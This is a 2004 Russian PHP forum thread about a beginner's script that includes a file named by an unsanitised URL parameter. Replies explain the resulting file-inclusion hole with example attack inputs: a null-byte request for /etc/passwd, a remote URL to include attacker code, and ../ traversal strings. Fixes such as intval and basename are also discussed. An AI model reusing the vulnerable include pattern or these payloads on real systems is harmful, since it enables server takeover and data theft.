|
include
|
|||
---|---|---|---|
#18+
У меня вопрос. Написал скрипт: <?php if ($id=="") { include ("1.txt"); } else { include ("$id.txt"); } ?> и файл "1.txt" : aaaaaaaaaaaaaa Он выдаёт текст: Notice: Undefined variable: id in X:\home\localhost\www\php\index.php on line 10 Что с этим делать? ... |
|||
:
Нравится:
Не нравится:
|
|||
23.08.2004, 01:23 |
|
include
|
|||
---|---|---|---|
#18+
Для начала перевести "Undefined variable" ... |
|||
:
Нравится:
Не нравится:
|
|||
23.08.2004, 10:05 |
|
include
|
|||
---|---|---|---|
#18+
данный код, при настройках ПХП по умолчанию, позволит злоумышленику, выполнить любой код ПХП на твоем сервере (то есть получить доступ ко всему, к чему имеет доступ ПХП). Функции, которые могут помочь - http://php.net/empty http://php.net/basename или http://php.net/intval (зависит от того каким может быть $id) http://php.net/readfile ... |
|||
:
Нравится:
Не нравится:
|
|||
23.08.2004, 11:38 |
|
include
|
|||
---|---|---|---|
#18+
А как сделать просто чтобы это сообщение не появлялось? ... |
|||
:
Нравится:
Не нравится:
|
|||
23.08.2004, 17:08 |
|
include
|
|||
---|---|---|---|
#18+
то есть дыру на сайте ты закрывать не собираешься ? PS > А как сделать просто чтобы это сообщение не появлялось? одна из функций в моем предыдущем сообщении делает проверку, не генерируя такой Нотайс ... |
|||
:
Нравится:
Не нравится:
|
|||
23.08.2004, 17:43 |
|
include
|
|||
---|---|---|---|
#18+
Макс Мданный код, при настройках ПХП по умолчанию, позволит злоумышленику, выполнить любой код ПХП на твоем сервере (то есть получить доступ ко всему, к чему имеет доступ ПХП). А каким образом? ... |
|||
:
Нравится:
Не нравится:
|
|||
24.08.2004, 12:38 |
|
include
|
|||
---|---|---|---|
#18+
2kVin nu esli naprimer vyzvat' http://example/file.php?id=/etc/passwd%00 ... |
|||
:
Нравится:
Не нравится:
|
|||
24.08.2004, 12:49 |
|
include
|
|||
---|---|---|---|
#18+
net vosprimetsya kak simvol okonchaniya stroki, chtoby otbrosit' .txt ... |
|||
:
Нравится:
Не нравится:
|
|||
24.08.2004, 13:07 |
|
include
|
|||
---|---|---|---|
#18+
понятно, а как в данном случае могут помочь функции http://php.net/empty http://php.net/basename или http://php.net/intval (зависит от того каким может быть $id) http://php.net/readfile ... |
|||
:
Нравится:
Не нравится:
|
|||
24.08.2004, 13:13 |
|
include
|
|||
---|---|---|---|
#18+
a che trudno pochitat' chto delaut basename ili intval? ... |
|||
:
Нравится:
Не нравится:
|
|||
24.08.2004, 15:10 |
|
include
|
|||
---|---|---|---|
#18+
а может самому немного подумать ? Почитай что делают эти функции, поэкспериментируй с ними, разберись, почему возникает эта дыра. на самом деле она гораздо опаснее, чем просто вывод /etc/passwd (который на нормально настроеном хостинге вы просто не сделаете). Основную опасность здесь представляют вызовы скрипта типа: http://example.com/script.php?id=http://my.server/my_script ... |
|||
:
Нравится:
Не нравится:
|
|||
24.08.2004, 15:12 |
|
include
|
|||
---|---|---|---|
#18+
без вопросов.. спасибо за вышепреведенную информацию. ... |
|||
:
Нравится:
Не нравится:
|
|||
24.08.2004, 15:32 |
|
include
|
|||
---|---|---|---|
#18+
:) я опять с вопросом.. А если присоединяемые файлы хранить в отдельном каталоге. Код: plaintext 1.
дыра останется? ... |
|||
:
Нравится:
Не нравится:
|
|||
25.08.2004, 10:10 |
|
include
|
|||
---|---|---|---|
#18+
kVin:) я опять с вопросом.. А если присоединяемые файлы хранить в отдельном каталоге. Код: plaintext 1.
дыра останется? ../../ eto dlya razmyshlenii ... |
|||
:
Нравится:
Не нравится:
|
|||
25.08.2004, 10:57 |
|
include
|
|||
---|---|---|---|
#18+
И синтаксис выучить не мешало бы - строки в PHP НУЖНО закавычивать. ... |
|||
:
Нравится:
Не нравится:
|
|||
25.08.2004, 14:22 |
|
include
|
|||
---|---|---|---|
#18+
Извините но я всетаки непайму чо за дыра??? ... |
|||
:
Нравится:
Не нравится:
|
|||
25.08.2004, 16:15 |
|
include
|
|||
---|---|---|---|
#18+
kVinПрикалывается тип Не внатуре нипонил ... |
|||
:
Нравится:
Не нравится:
|
|||
25.08.2004, 18:16 |
|
include
|
|||
---|---|---|---|
#18+
Упрощенное закрытие дыры : $id = floor($HTTP_GET_VARS['id']); и ничего кроме числа не пройдет. А вообще хавать параметры из вне нужно осторожно. Вот пример чтоб невозможно было бы дыркой воспользоваться другим более стремным вариантом. include("./myfile$id.txt") И уже чтоб ты ни кинул в id - не проломишься. Варианты ../../ не катят , потому что логически он должн сначала пройти на фолдер вперед - myfile. А сообщение появлялось потому что скорее всего PHP настроен отдавать внешние переменные только через $HTTP_POST_VARS, $HTTP_GET_VARS. ... |
|||
:
Нравится:
Не нравится:
|
|||
26.08.2004, 01:03 |
|
include
|
|||
---|---|---|---|
#18+
Alexey YakovlevУпрощенное закрытие дыры : $id = floor($HTTP_GET_VARS['id']); и ничего кроме числа не пройдет. А вообще хавать параметры из вне нужно осторожно. Вот пример чтоб невозможно было бы дыркой воспользоваться другим более стремным вариантом. include("./myfile$id.txt") И уже чтоб ты ни кинул в id - не проломишься. Варианты ../../ не катят , потому что логически он должн сначала пройти на фолдер вперед - myfile. А сообщение появлялось потому что скорее всего PHP настроен отдавать внешние переменные только через $HTTP_POST_VARS, $HTTP_GET_VARS. $id = floor($HTTP_GET_VARS['id']); pravilnee tak $id = isset($HTTP_GET_VARS['id'])?intval($HTTP_GET_VARS['id']):0; chtoby warningov nebylo include("./myfile$id.txt") ochnis'.... sdelat' $id => "/../test.php%00" budet eqvivalentno include("./test.php") a dalshe po standartnoi sheme ... |
|||
:
Нравится:
Не нравится:
|
|||
26.08.2004, 10:30 |
|
|
start [/forum/topic.php?fid=23&msg=32663213&tid=1479433]: |
0ms |
get settings: |
9ms |
get forum list: |
12ms |
check forum access: |
3ms |
check topic access: |
3ms |
track hit: |
38ms |
get topic data: |
8ms |
get forum data: |
2ms |
get page messages: |
49ms |
get tp. blocked users: |
1ms |
others: | 299ms |
total: | 424ms |
0 / 0 |